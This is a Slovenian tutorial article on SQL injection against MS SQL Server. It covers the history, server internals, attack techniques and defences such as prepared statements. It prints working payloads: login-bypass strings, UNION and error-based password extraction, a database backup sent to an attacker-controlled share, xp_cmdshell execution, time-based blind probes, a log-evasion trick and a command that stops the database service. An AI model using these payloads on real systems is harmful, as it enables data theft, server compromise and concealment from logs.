Vrivanje SQL od A do Ž

Zakaj so zbirke podatkov priljubljena tarča spletnih napadalcev? Preprosto, spletne trgovine in banke podatkov o svojih strankah ne shranjujejo v spletnem strežniku temveč v zbirki podatkov. Te zbirke so torej lahko prave zakladnice zaupnih informacij. Ob pomoči vrivanja stavkov SQL (SQL injection) je napad na zbirko podatkov razmeroma preprosto izvesti. Sestavine uspešnega napada sestavljajo brskalnik, temeljno znanje jezika SQL in predvsem veliko improvizacije.

Improvizacija je nedvomno bistvenega pomena za uspešno izvedeno vrivanje SQL. Prav zato ni avtomatiziranih orodij za izkoriščanje SQL vrzeli. Da ne bo pomote, seveda je kar precej namenskih orodij (in celo Firefox vtičnikov) s prijetnimi grafičnimi vmesniki. Mnoga znajo biti v veliko pomoč, predvsem pri t. i. "slepem vrivanju SQL" (blind SQL injection), vendar povečini zahtevajo razumevanje tematike in ustrezno prilagoditev specifičnih parametrov, ki jih je mogoče poiskati le z ročnim načinom "poskusi in zgreši" (trial and error). Kdor enkrat osvoji tehniko vrivanja stavkov SQL, lahko z običajnim brskalnikom popolnoma kompromitira zbirko podatkov.

Improvizacija in precej ugibanja sta tudi temeljna razloga, zakaj dejansko še vedno ni napisan idealni "korak-za-korakom" priročnik o vrivanju SQL. Problematika SQLi je sicer zelo aktualna, zato je splet poln informacij na to temo. Številna besedila so naravnost odlična, vendar zagotovo niso namenjena slepemu sledenju korakom, saj je najbrž nemogoče predvideti vse možne scenarije. Sicer pa, kdor se je že kdaj poigral z vrivanjem SQL, popolnoma razume, zakaj tolikšen poudarek na improvizaciji.

Pogled v preteklost

Vrivanje SQL je le ena izmed oblik izvajanja neavtoriziranih ukazov v večnivojski (multi-tier) arhitekturi, ki je temelj današnjega dinamičnega spleta. Nekatere bolj znane oblike vrivanja so, med drugim, tudi XPath injection, LDAP injection, SSI injection, SOAP injection, OS command injection ... nedvomno pa je SQL injection najbolj znan.

Širši javnosti je te napade predstavil heker Rain Forest Puppy v 54. številki publikacije "Phrack" leta 1998. Isti avtor je dobro leto zatem objavil še dve besedili: "NT ODBC remote compromise" in "How I hacked Packetstorm", ki sta dokončno konsolidirali SQL injection kot nadvse nevarno obliko napadov na zbirke podatkov. K popularizaciji vrivanja stavkov SQL je veliko pripomogel tudi strokovnjak za računalniško varnost David Litchfield (NGSSoftware), ki je leta 2002 dobesedno "sesul" famozno Oraclovo marketinško kampanjo "Unbreakable!", saj je v Oraclovi arhitekturi RDBMS odkril toliko pomanjkljivosti, da je z njimi lahko zapolnil vso knjigo ("The Oracle hacker's handbook"). Mimogrede, izraz "SQL injection" je prvi javno uporabil Chip Andrews (NGSSoftware) leta 2000 v svojih odgovorih na pogosta vprašanja o vrivanju SQL. Dotlej so bili ti napadi označeni kot "unauthorized SQL statements".

Osnove

SQL (Structured Query Language) je standardiziran jezik za upravljanje zbirk podatkov RDBMS (Relational DataBase Managenent System), torej zbirk, v katerih so podatki shranjeni v povezanih dvodimenzionalnih tabelah. Temeljni elementi relacijske zbirke podatkov so tabela (table), stolpec (column), vrstica (row) in polje (field), ki predstavlja presek stolpca in vrstice. V celici je shranjen posamezen podatek oz. vrednost. Na voljo je cela paleta sistemov za upravljanje relacijskih zbirk podatkov. Med najbolj razširjene sodijo Oracle DB, IBM DB2, IBM Informix, PostgreSQL, MySQL, MS Access in MS SQL Server. Čeprav je jezik SQL standardiziran, pa se sintaksa jezika med različnimi sistemi RDBMS lahko precej razlikuje, saj so številni razvijalci uvedli različne omejitve in razširitve (npr. T-SQL, PL/SQL). S stališča napadalca to pomeni, da je uspeh vrivanja SQL pogojen s poznavanjem specifičnih lastnosti ciljne zbirke podatkov. Izvajanje ukazov ob pomoči stavkov SQL imenujemo poizvedba (query). V članku se bomo omejili predvsem na strežnik MS SQL, čeprav so za vrivanje SQL enako dovzetni vsi sistemi RDBMS.

Brez razumevanja osnovnih ukazov SQL seveda ne gre. Najbrž je naštevanje in opisovanje ukazov popolnoma nesmiselno, saj je splet poln takih informacij. Če omenimo le dva naslova: www.sqlzoo.net in www.w3schools.com/sql.

Vrivanje SQL ob pomoči namenskega grafičnega programa. Zbirke podatkov so pogosto vir zaupnih informacij in zato priljubljena tarča spletnih kriminalcev. Vir: www.sans.org

Struktura strežnika MS SQL

Namestitveni program Microsoftovega SQLa ustvari pet privzetih sistemskih zbirk, ki so nujne za delovanje paketa. To so Master, Model, Msdb, Tempdb in Pubs. Najpomembnejša je nedvomno Master, ki vsebuje sistemske tabele, strežniške procedure (stored procedures), razširjene strežniške procedure (extended stored procedures) ter interne spremenljivke (internal variables).

Sistemske tabele vsebujejo informacije o sistemu, uporabnikih, dovolilnicah, napravah itd. Če naštejemo le nekatere najzanimivejše: sysobjects, sysdatabases, syslogins, sysprocesses, sysfiles, syspermissions, sysusers, sysdevices, sysremotelogins ... Ker vsebujejo zelo kritične podatke, je dostop do sistemskih tabel omejen. Nekatere t. i. krajevne (sys)tabele lahko sicer poizveduje tudi uporabnik DB, sklicevanje na "master.." torej ni potrebno. Za poizvedovanje master (sys)tabel pa so potrebni privilegiji DBA (DataBase Administrator).

Strežniške procedure (predpona sp_) so vnaprej pripravljeni postopki za opravljanje določenih SQL poizvedb. Prednost sp_ procedur je nedvomno ta, da ne zahtevajo sklicevanja na "master.." in jih torej lahko izvaja tudi navaden DB uporabnik. Nadvse zanimiva je procedura sp_password, saj zaradi varnosti MS SQL strežnik dostopov do te datoteke ne zapisuje. Če torej za našim stavkom kot komentar vstavimo "sp_password", poizvedba ne bo zabeležena, in naš vdor bo veliko teže odkriti. Seveda pa bo še vedno zabeležena v dnevniku spletnega strežnika (razen ob uporabi zahtevka POST).

Veliko nevarnejše so nedvomno razširjene strežniške procedure, predpona xp_. Nekatere procedure namreč vsebujejo potencialno nevarne funkcionalnosti, ki napadalcu omogočajo popolno kompromitiranje zbirke podatkov, operacijskega sistema in celo krajevnega omrežja. Veliko xp_ procedur za izvajanje sicer zahteva sistemske privilegije, vendar številne spletne aplikacije komunicirajo z zbirko podatkov prek sistemskih računov "sysadmin", "db_owner" ali "dbo". Odkriti SQL pomanjkljivost v takšni aplikaciji, je uvod v katastrofo. Nekatere bolj zanimive xp_ procedure so: xp_cmdshell (izvajanje ukazne vrstice), xp_regread (branje registra), xp_regwrite (zapisovanje v register), xp_regdeletekey (brisanje registrskega ključa), xp_servicecontrol (zaženi/ustavi Windows storitev), xp_terminate_process (ustavi določen proces), xp_getnetname (izpiše NetBIOS ime DB strežnika), xp_msver (izpiše podatke o BD strežniku) ... Varnostna priporočila za upravljanje zbirk podatkov svetujejo onemogočanje vseh neuporabljenih xp_ procedur - na lastno odgovornost, seveda. Nadvse nevarna procedura xp_cmdshell je v MS SQL Server 2005 privzeto onemogočena, vendar so znane preproste zvijače, kako jo napadalec z DBA privilegiji lahko spet omogoči.

Strežnik MS SQL vsebuje nekatere interne spremenljivke, predpona @@, ki so napadalcu lahko v veliko pomoč pri zbiranju informacij o zbirki podatkov. Spremenljivke so na razpolago vsem uporabnikom, saj ne zahtevajo sklicevanja na "master..". Če naštejemo le nekatere najbolj uporabne: @@servername, @@version, @@servicename, @@language.

Vrini me nežno

Čeprav zveni nenavadno, je vrivanje SQL dejansko napad na spletno aplikacijo. Kratko seveda potegne zbirka podatkov, ki poslušno izvaja ukaze, ki ji jih prek spletne aplikacije servira napadalec. Kakorkoli, SQLi je mogoč zgolj zaradi pomanjkljivosti v spletni aplikaciji. Pika. Konkretno gre za pomanjkljivost, ki je vir številnih težav, s katerimi se spopadajo razvijalci spletnih aplikacij: (ne)preverjanje vnosnih podatkov (input/data validation). Torej, uporabnikov vnos se ne preverja, temveč se neposredno uporabi za generiranje stavka SQL. Pričakovati od uporabnikov, da bodo v polja (input field) vnašali le dovoljene znake, je seveda utopično.

V jeziku SQL imajo nekateri (meta)znaki poseben pomen: --, # ali /**/ označujejo komentarje; znak ; predstavlja konec stavka SQL; znak ' je rezerviran za označevanje niza oz. spremenljivk; + označuje prazen prostor (blank space); %, * in _ so t. i. nadomestni znaki (wildcards). Ko stavek SQL vsebuje nepravilno umeščenega katerega izmed posebnih znakov, to lahko povzroči napako (npr. "Unclosed quotation mark before the character string") v procesiranju poizvedbe. Ali drugače, če nam uspe povzročiti tako napako, je zelo velika verjetnost, da smo v spletni aplikaciji odkrili vrzel, ki omogoča vrivanje SQL. Dobro pa je vedeti naslednje: napake tipa "Microsoft VBScript runtime error '800a000d'" niso indikator potencialne vrzeli SQL. Nedvomno pa si zaslužijo podrobnejšo analizo.

Vzemimo primer spletne stani, ki zahteva predhodno overjanje istovetnosti. Uporabnik torej v določena polja vnese uporabniško ime in geslo, spletna aplikacija dinamično generira poizvedbo in jo posreduje strežniku SQL. Če se vneseni podatki ujemajo z zapisi v zbirki podatkov, je prijava uspešna in spletna aplikacija vzpostavi overjeno uporabniško sejo (authenticated user session). V tem primeru bi bila poizvedba lahko takšna:

SELECT * FROM uporabniki WHERE uporabnik = 'admin' AND geslo = 'letmein'

(prevod: preglej vse vrstice v tabeli [uporabniki] in izpiši vse vnose, kjer ima stolpec [uporabnik] vrednost 'admin' in stolpec [geslo] vrednost 'letmein').

Kaj pa se zgodi, če uporabnik kot geslo vnese "letmein'" (pozor na znak ' v geslu)? Zahtevek bo nepravilno formuliran in strežnik SQL sporoči napako v sintaksi. Zadetek v polno? Čisto mogoče, lahko pa tudi ne. Tu se naša zgodba o improvizaciji in ugibanju namreč šele začenja.

Napadalci vrivanje SQL izkoriščajo za krajo zaupnih podatkov, manipulacijo podatkov (tudi v obliki razobličenja spletne strani) ter kompromitiranje sistema. Ob morebitnem neuspehu si mnogi lajšajo frustracije z zavrnitvijo storitve (denial of service) strežnika SQL. Priljubljene so metode izvajanja zahtevnih izračunov, ki obremenijo delovanje strežnika ali celo zaustavijo sistem (npr. EXEC master..xp_servicecontrol STOP, 'MSSQLSERVER'). V končni fazi pa uporabijo tudi brisanje tabel ali zbirk podatkov.

Razobličena spletna stran organizacije "Združenih narodov" kot posledica vrivanja SQL. Vir:www.sans.org

Nova oblika zlonamerne kode so tudi t. i. črvi "SQL storm", med katerimi je najbolj znan "AspRox". Njihov tovor (payload) je generična večstavčna poizvedba SQL, ki v spletno stran vstavi <iframe> povezavo do arbitrarne spletne stani. Ta vsebuje zlonamerni JavaScript, prek katerega nato "okuži" uporabnike ranljive spletne aplikacije s trojanskim programom. Generična poizvedba omogoča vrivanje ukazov SQL brez predhodnega poznavanja zgradbe in strukture zbirke podatkov. Črvi "SQL storm" se sicer širijo ob pomoči spletnih iskalnikov, njihova funkcionalnost pa je trenutno omejena na strežnike MS SQL in spletne aplikacije, zgrajene v jeziku ASP/ASP.Net ali ogrodju ColdFusion. Verjetno je le vprašanje časa, kdaj bodo spletni nepridipravi skovali generično poizvedbo SQL, ki bo prek ranljive aplikacije PHP kompromitirala strežnike MySQL. To je vsekakor izvedljivo, saj ima MySQL veliko uporabnih podatkovnih metapodatkov (database metadata) v obliki tabel INFORMATION_SCHEMA, ki nedvomno omogočajo izvajanje generičnih poizvedb. Seveda pa je stvar vse prej kot enostavna, saj PHP funkcija mysql_query() onemogoča večstavčne poizvedbe (stacked queries), ki so pri taki zlonamerni kodi nujne. No, pustimo se presenetiti.

Kdor meni, da bodo črvi zgrešili slovenski spletni prostor, se seveda zelo moti. Potencialnih žrtev je namreč kar precej. Ne nazadnje se vsi dobro spomnimo vdora v sistem Državnega izpitnega centra eRic (www.ric.si/sporocila/2007072613221572).

Drive-by download na spletni strani državne uprave. Le v redkih primerih je vrinjen skript tudi viden.

Naj se zabava začne

Na splošno lahko napade z vrivanjem ukazov SQL razvrstimo v dve kategoriji: vrivanje prve stopnje (first-order injection) in vrivanje druge stopnje (second-order injection). Slednja oblika je seveda veliko bolj kompleksna, saj zahteva podrobno poznavanje delovanja spletne aplikacije. V tem primeru se vrinjeni stavek SQL dejansko ne izvede nemudoma, temveč se shrani v zbirki podatkov, aktivira pa se ob določeni operaciji, npr. pri spreminjanju prijavnega gesla. Taki prijemi se uporabljajo predvsem v primerih, ko spletna aplikacija uspešno filtrira (escaping/encoding) posebne znake in na prvi pogled ne deluje ranljiva.

Vrivanje prve stopnje, torej kategorija, kjer se SQL poizvedbe izvajajo v realnem času, je nedvomno veliko enostavnejše in zato tudi bolj razširjeno. Najosnovnejša oblika zlorabe SQL vrzeli je premostitev prijave (login bypass). Kot zgled vzemimo spet zgoraj navedeno poizvedbo

SELECT * FROM uporabniki WHERE uporabnik = 'admin' AND geslo = 'letmein'.

Torej uporabnik 'admin' in geslo 'letmein'. Zlonamerni uporabnik teh dveh podatkov seveda ne pozna, vendar lahko v primeru ranljive aplikacije v prijavni polji preprosto vstavi naslednji niz: ' OR 1=1--'. Poizvedba bo zdaj taka:

SELECT * FROM uporabniki WHERE uporabnik = '' OR 1=1--'' AND geslo = '' OR 1=1--''.

Uporabnika '' z enakim geslom seveda ni, vendar drugi del stavka, torej 1=1, vedno velja. Ali, poenostavljeno, aplikacija nas bo uspešno prijavila, ko bo uporabniško ime in geslo '' (tj. "blank"), oziroma če je 1=1. Slednje seveda vedno drži. Uspešno smo premostili prijavo, še več, prijavljeni smo z ID1, ki največkrat pripada upravitelju.

Na videz deluje nadvse preprosto, vendar je dejansko potrebna velika previdnost pri balansiranju znaka '. Tako se lahko zgodi, da zgornji primer ne bo deloval, medtem, ko bo niz

' OR '1'='1

(ali kakšen podoben) uspešno zaobšel prijavo. Nekaj smo že govorili o improvizaciji...

Mimogrede, svojevrsten "tiskarski škrat" se je pojavil tudi v knjigi "The art of deception" (stran 175), legendarnega (bivšega) hekerja Kevina Mitnicka. Pri opisovanju premostitve prijave je namreč naveden naslednji stavek SQL:

SELECT [record] FROM [users] WHERE [user] = '' OR WHERE password LIKE '%' AND [password] = '' OR WHERE password LIKE '%'--.

Poizvedba je seveda napačna, saj je operator OR pred ukazom WHERE neveljaven in bo generiral napako v sintaksi. No, grešiti je človeško. Kevin Mitnick se je očitno "uštel" pri vrivanju SQL. Pa kaj zato, vrhunski mojster socialnega inženirstva in "phreakinga" si to vsekakor lahko privošči.

SQLi za začetnike

Vrivanje SQL lahko seveda izvedemo tudi drugače. V praksi so ti postopki znani kot "inband", "out-of-band" (OOB) ali "exfiltration", "ODBC error" in "inference" ali "blind injection". "Inband" in "ODBC error" sta si precej sorodna, saj se v obeh primerih rezultati vrinjenih poizvedb prikazujejo v brskalniku (t. i. verbose). S to razliko, da so v klasičnem "inband" primeru prikazane konkretne tabele, stolpci ali polja, v primeru ODBC (Open DataBase Connectivity) pa se izpisujejo le napake, ki pa so za vešče oko polne informacij. Metoda "ODBC error" je izvedljiva le na strežniku MS SQL in nemalokrat je tudi edina uporabna.

Rezultat poizvedbe pri postopku "ODBC error"

Preden se dokoplje do uporabnih podatkov, pa napadalca čaka najtežji del naloge - popisovanje (enumeration) zbirke podatkov. Odkriti mora namreč nekatere ključne elemente, nujne za uspešno črpanje informacij: imena tabel, število in podatkovni tip stolpcev, različico podatkovnega strežnika, nivo računa za dostop do zbirke podatkov ... Zaradi izdatne uporabe operatorja UNION se je popisovanja prijelo ime "UNION attack", to pa je v praksi videti tako:

http://server/index.asp?id=1'+UNION+SELECT+1,2,3--

Glede na vrnjeni rezultat napadalec ustrezno prilagodi stavek SQL in nadaljuje poizvedovanje. Da, stvar lahko postane zelo zapletena in dolgočasna. Na srečo pa so sistemske tabele (syscolumns, sysobjects, syslogins ...) v veliko pomoč. Najpogosteje iskana informacija je geslo skrbniškega računa. V tem primeru bi se, po uspešno opravljenem popisovanju, končna poizvedba lahko glasila takole:

http://server/index.asp?id=1'+UNION+SELECT+admin+geslo,3+FROM+uporabniki--

ali ob uporabi postopka "ODBC error":

http://server/index.asp?id=1'+OR+1+IN+(SELECT+geslo+FROM+uporabniki+WHERE+uporabnik='admin')--

Iskanje gesel lahko včasih postane utrujajoče, zato so brihtne buče odkrile tudi elegantnejši način. Preprosto naredimo varnostno kopijo (backup) zbirke podatkov v omrežni računalnik pod našim nadzorom (denimo, da je ta 10.0.0.1). Torej:

http://server/index.asp?id=1'+BACKUP+DATABASE+[master]+TO+DISK+=+'\\10.0.0.1\{share}\backup.dat'--

Predhodno moramo poskrbeti, da omrežni disk {share} dovoljuje anonimni dostop in ima uporabniške pravice (permissions) ANONYMOUS LOGON\Full Control.

Lahko pa izberemo popolnoma drugačen pristop in raje kompromitiramo operacijski sistem, na katerem je nameščena zbirka podatkov. Izpolnjen mora biti naslednji pogoj: spletna aplikacija mora uporabljati sistemski račun za komunikacijo z zbirko podatkov. To preverimo z naslednjim stavkom:

http://server/index.asp?id=1'+IF+(is_srvrolemember('sysadmin')+>+0)+WAITFOR+DELAY+'0:0:10'--

Če je pogoj izpolnjen, se bo spletna stran izrisala z desetsekundnim zamikom. V naslednjem koraku preverimo možnost izvajanja procedure xp_cmdshell. Na lokalnem mlinčku (denimo 10.0.0.1) poženemo program za analizo omrežnega prometa oz. "sniffer" ter vstavimo naslednjo poizvedbo:

http://server/index.asp?id=1'+EXEC+master.dbo.xp_cmdshell+'ping+-n+5+10.0.0.1'--

Sniffer bi moral zabeležiti pet prejetih paketkov ICMP Echo Request. V hekerskem žargonu je tak strežnik po vseh kriterijih "0wned", torej v "lasti" napadalca.

Vrivanje na slepo

Včasih pa aplikacija, čeprav ranljiva, ne vrne rezultata poizvedbe ali napake ODBC. V brskalniku se preprosto izpiše obvestilo, da bo skrbnik obveščen o težavi, ali, pogosteje, prazna bela stran (blank page). Mnogi skrbniki so prepričani, da bodo tako odvrnili potencialne napadalce in preprečili vrivanje SQL ukazov. Narobe. V tem primeru lahko napadalec uporabi dva postopka: "out-of-band" ali "exfiltration" ter "blind injection" ali "inference". Pri OOB načinu napadalec preprosto odpre nov "kanal" za črpanje podatkov (data exfiltration) iz zbirke podatkov. Ta kanal zaključuje DNS strežnik, omrežni računalnik (zgornji primer varnostne kopije) ali drugi podatkovni strežnik, v katerega se stekajo izvlečene informacije. Transact-SQL premore zelo priročno funkcijo za črpanje podatkov, in sicer OpenRowSet(), ki omogoča povezovanje dveh podatkovnih strežnikov. Prav zaradi morebitne nevarnosti je omenjena funkcija v MS SQL 2005 in novejših privzeto onemogočena.

Pomanjkljivost OOB načina je v tem, da za izvedbo zahteva dodatni člen, torej namenski strežnik ali računalnik. Klasični način "slepega vrivanja SQL" (blind SQL injection) pa je nadvse trivialen in temelji na odzivnem času. Najosnovnejši prikaz postopka je naslednji:

http://server/index.asp?id=1'+WAITFOR+DELAY+'00:00:10'--

Če se stran prikaže z desetsekundnim zamikom, je aplikacija ranljiva, nasprotno pa takojšnji prikaz kaže na neranljivost aplikacije. Preprosto, vendar nadvse učinkovito. Napadalec zdaj vsako poizvedbo pogojuje z ukazom WAITFOR DELAY. Na primer:

http://server/index.asp?id=1'+IF+(select+user)+=+'sa'+WAITFOR+DELAY+'00:00:10'--

oziroma desetsekundni zamik, ko je trenutni uporabnik 'sa'.

Ima pa tudi "slepo vrivanje" svojo slabost: zelo je zamudno, saj napadalec zgolj ugiba. Če spet uporabimo primer napada na eRIC. V obvestilu za javnost je navedeno, da je eden izmed napadov trajal 12 ur. Čisto mogoče, nepridiprav je očitno uporabljal "ročno slepo vrivanje SQL". Tukaj se dejansko pokaže smiselnost uporabe avtomatiziranih orodij, saj napadi z grobo silo (brute force) opravijo neprimerno hitreje. Najbolj znan tak program je Absinthe (www.0x90.org/releases/absinthe/), ki deluje v Oknih in Linuxu. Orodje je bilo javnosti predstavljeno na konferenci Black Hat 2004 pod imenom SQueaL in je sploh prvo, ki je omogočalo avtomatizirano izkoriščanje vrzeli "blind SQL injection". Absinthe seveda ni program "point and click", saj za učinkovito uporabo zahteva napredno poznavanje problematike SQLi.

Prikrivanje rezultatov poizvedb je torej čisti nesmisel, ki lahko odžene le popolne začetnike. Izkušen napadalec bo tako ali drugače kljub temu prišel do želenega odgovora. Mimogrede, nekatere ukaze SQL lahko napadalec uspešno izvede, čeprav nanje ne dobi povratnega odgovora (npr. SHUTDOWN, DROP TABLE itd).

Absinthe lahko neprimerno pospeši in poenostavi "vrivanje na slepo" (blind SQL injection). Vir: www.0x90.org

Obramba pred SQLi

Širjenje črva "SQL storm", po nekaterih informacijah naj bi bilo okuženih več kot milijon strežnikov, je sprožilo tudi odziv Microsofta, ki je izdal uradno varnostno opozorilo (www.microsoft.com/technet/security/advisory/954462.mspx). Vsekakor zelo profesionalna in hvalevredna poteza. Microsoft namreč ni krivec za nastalo situacijo, "SQL storm" ne izkorišča pomanjkljivosti v njihovih izdelkih, je zgolj posledica slabo napisanih spletnih aplikacij. V obvestilu je Microsoft predstavil nekaj programov, ki lahko skrbnikom pomagajo pri analizi, odkrivanju in preprečevanju vrivanja SQL stavkov v aplikacije ASP/ASP.Net. Konkretno gre za skener Scrawlr, sicer v lasti Hewlett-Packarda, ki je nekakšna okleščena različica SPI WebInspect skenerja; UrlScan skrbnikom olajša filtriranje nedovoljenih znakov; Microsoft Source Code Analyzer for SQL Injection (MSSCASI) pa je orodje za analizo izvirne kode ASP. Uporaben je lahko tudi program SQLInjectionFinder za odkrivanje specifičnih "SQL storm" vnosov v dnevniških zapisih. Pri Scrawlr skenerju velja opozorilo, da odkriva le "verbose različice" vrivanja in ne tudi "slepo vrivanje". Mimogrede, vodja projekta HP Scrawlr je bil Billy Hoffman, avtor "zloglasnega" skenerja Jikto.

Scrawl skener med analizo spletne strani Vir. www.hp.com

Preverjanje vhodnih parametrov je nujen, ne pa tudi dokončen pristop k odpravljanju problematike vrivanja SQL. Dokončna rešitev problema je nedvomno uporaba vnaprej pripravljenih stavkov SQL (prepared statements ali tudi parameterized queries). Torej poizvedb, pri katerih aplikacija "prepozna" uporabnikov vnos. Ker strežniki podatkov ne morejo razločevati med statičnim delom poizvedbe in vhodnimi parametri, bi separacija logičnega dela in podatkov pomenila dokončno rešitev problema. Takšno separacijo pa omogočajo ravno predpripravljeni stavki, pri čemer so vhodni podatki posredovani strežniku SQL kakor argumenti. Rešitev je torej na dlani, zdaj moramo le še prepričati razvijalce spletnih aplikacij, da "prepared statements" začnejo tudi uporabljati.

Koristne povezave

Scrawlr scanner

www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx

UrlScan

www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-321603531989&displaylang=en

Microsoft Source Code Analyzer for SQL Injection (MSSCASI)

www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&displaylang=en

SQLInjectionFinder

www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436